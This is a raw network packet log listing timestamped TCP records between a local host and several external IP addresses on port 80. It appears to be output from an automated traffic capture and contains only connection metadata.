May 23, 2022 09:10:57.354104042 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354110003 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354113102 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.354115963 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354127884 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.354146004 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.370037079 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382488012 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382514954 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382530928 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382546902 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382570982 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382589102 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382603884 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382621050 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382625103 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382636070 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382653952 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382658005 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382664919 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382671118 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382683039 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382688046 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382688046 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382699966 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382704973 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382710934 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382715940 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382720947 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382723093 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382741928 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382744074 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382759094 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382776022 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382781029 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382783890 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382790089 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382797956 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382814884 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382831097 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382833958 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382841110 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382844925 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382848978 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382865906 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382882118 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382889986 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382898092 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382900953 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382908106 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382915974 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382927895 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382935047 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382951021 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382966995 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382971048 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382977962 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382982016 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382982969 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.382986069 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.382999897 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.383018017 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.383028984 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.383042097 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.383042097 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.383050919 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.383057117 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.383059025 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.383130074 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.383138895 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.383300066 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.383807898 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.384612083 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.398621082 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.398649931 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.398673058 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.398695946 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.398719072 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.398744106 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.398785114 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.398833990 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.398840904 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.398845911 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.398849964 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411448002 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411484957 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411506891 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411530972 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411554098 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411576986 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411598921 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411619902 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411642075 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411685944 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411686897 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411706924 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411736965 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411758900 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411783934 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.411858082 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411866903 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411871910 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411876917 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411880970 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411885023 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411890030 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411894083 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411897898 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411984921 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.411992073 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412007093 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412028074 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412053108 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412076950 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412077904 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412106991 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412117958 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412811995 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412817955 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412836075 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412857056 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412872076 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412879944 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412902117 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412902117 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412913084 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.412925005 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412945986 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412967920 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.412987947 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413012028 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413032055 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413053989 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413068056 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413078070 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413078070 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413084030 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413088083 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413091898 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413096905 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413099051 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413101912 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413120031 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413120985 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413131952 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413141966 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413161993 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413182974 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413187027 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413197041 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413203955 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413203955 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413224936 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413233995 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413247108 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413253069 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413266897 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413273096 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413288116 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413299084 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413311958 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.413316965 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413327932 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413355112 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.413733959 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.415410995 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.427275896 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.427323103 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.427357912 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.427371025 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.427386045 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.427395105 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.427401066 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.427417040 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440340042 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440413952 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440453053 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440526009 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440531969 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440560102 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440567017 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440568924 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440607071 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440619946 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440648079 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440658092 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440689087 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440692902 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440727949 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.440740108 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.440778017 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.441386938 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.441924095 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.441965103 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.441988945 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.442004919 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.442012072 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.442044020 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.442051888 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.442086935 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.442090034 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.442127943 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.442133904 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.442173004 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443641901 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443684101 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443726063 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443744898 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443753004 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443785906 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443793058 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443825960 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443834066 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443867922 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443881035 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443908930 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443922043 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443948984 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443955898 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.443989038 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.443995953 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444015980 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444036961 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444056034 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444056988 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444096088 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444103956 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444137096 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444144011 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444179058 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444189072 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444216967 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444228888 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444257975 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444272041 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444298029 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444309950 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444329023 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444336891 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444339037 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444376945 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444381952 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444416046 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444420099 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444456100 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444459915 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444500923 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444524050 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444566011 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444587946 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444603920 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444617033 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444623947 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444644928 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444644928 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444684029 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444685936 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444722891 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444731951 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444765091 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.444780111 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.444819927 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.445307016 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.445610046 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455667973 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455715895 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455753088 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455756903 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455773115 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455791950 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455796957 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455831051 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455845118 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455868959 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455878973 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455895901 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.455924034 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.455952883 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.469197989 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.469258070 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.469299078 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.469321012 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.469341040 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.469341040 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.469366074 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.469381094 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.469386101 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.469419003 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.469436884 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.469475031 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.470334053 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.470377922 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.470417976 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.470417976 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.470433950 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.470457077 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.470478058 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.470498085 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.470514059 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.470535040 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.470551014 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.470592022 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.473020077 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.473066092 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.473109007 CEST	80	49174	85.114.142.153	192.168.2.22
May 23, 2022 09:10:57.473114967 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.473140955 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:10:57.473157883 CEST	49174	80	192.168.2.22	85.114.142.153
May 23, 2022 09:11:00.056556940 CEST	80	49173	103.171.181.223	192.168.2.22
May 23, 2022 09:11:00.056725025 CEST	49173	80	192.168.2.22	103.171.181.223
May 23, 2022 09:11:01.448847055 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.573765993 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.573941946 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.574974060 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.699779034 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.798887968 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.798969030 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.798998117 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799025059 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799052000 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799062967 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799078941 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799082994 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799086094 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799101114 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799108028 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799127102 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799134016 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799149990 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799160004 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799182892 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799185991 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.799204111 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.799237967 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.829891920 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.923927069 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.923986912 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924026966 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924062967 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924096107 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924099922 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924118042 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924120903 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924134016 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924137115 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924170017 CEST	49175	80	192.168.2.22	66.71.247.68
May 23, 2022 09:11:01.924175024 CEST	80	49175	66.71.247.68	192.168.2.22
May 23, 2022 09:11:01.924206972 CEST	49175	80	192.168.2.22	66.71.247.68
